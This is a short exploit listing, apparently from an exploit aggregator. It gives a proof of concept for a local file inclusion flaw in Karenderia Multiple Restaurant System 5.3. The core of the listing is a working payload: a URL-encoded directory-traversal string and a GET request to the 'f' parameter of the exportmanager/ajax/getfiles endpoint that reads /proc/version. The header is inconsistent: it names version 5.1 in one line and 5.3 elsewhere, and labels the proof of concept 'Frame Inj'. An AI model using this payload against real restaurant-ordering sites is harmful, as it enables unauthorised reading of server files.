Exploit for Karenderia Multiple Restaurant System 5.3 - Local File Inclusion Vulnerability

Name: Exploit for Karenderia Multiple Restaurant System 5.3 - Local File Inclusion Vulnerability
Rating: 5 (145 reviews)

2019-07-05 | CVSS 7.1

## https://sploitus.com/exploit?id=1337DAY-ID-32954
===========================================================================================
# Exploit Title: Karenderia CMS 5.1 - LFI Vuln.
# Dork: N/A
# Date: 04-07-2019
# Exploit Author: Mehmet EMIROGLU
# Software Link:
https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - Frame Inj
# Parameters : f
# Attack Pattern :
%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion
# GET Method :
http://localhost/kmrs/exportmanager/ajax/getfiles?f=/../../../../../../../../../../proc/version
===========================================================================================

#  0day.today [2019-07-06]  #